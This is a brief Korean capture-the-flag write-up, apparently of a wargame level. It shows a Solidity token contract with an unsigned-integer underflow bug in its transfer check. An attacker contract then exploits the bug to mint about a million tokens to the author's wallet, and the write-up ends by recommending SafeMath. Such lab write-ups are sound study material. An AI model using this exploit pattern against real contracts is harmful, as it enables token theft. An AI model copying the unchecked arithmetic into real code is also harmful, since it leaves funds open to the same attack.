// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
우리의 mission은 현재 우리는 20개의 토큰이 주어져있는데 contract를 이용하여 토큰을 많이 얻는 것이다.
토큰 총 발행량은 21,000,000개이고 내 토큰 개수는 20개이다.
Token 컨트랙트의 constructor을 보면 msg.sender에게 totalSupply를 준다고 나와 있다.
그러면 우리가 remix에서 contract를 만들어서 공격을 할 수 있다.
contract Attacker{
Token token;
constructor(address _address) public {
token = Token(_address);
}
function transfer(address _to, uint _value) public returns(bool) {
return token.transfer(_to, _value);
}
}
Deploy를 하고 _to에 내 지갑주소를 _value는 적당하게 1,000,000만 넣었다.
그러자 나의 토큰이 1,000,020개로 늘어났다.
이 문제는 overflow/underflow에 대한 취약점 문제이다. 단순히 a+=c, a-=c를 하면 overflow/underflow 취약점이 발생하기 쉽다고 나와있다.
그래서 SafeMath.sol를 import해여 a.add(c)를 하면 자동적으로 overflow/underflow의 error를 잡아준다.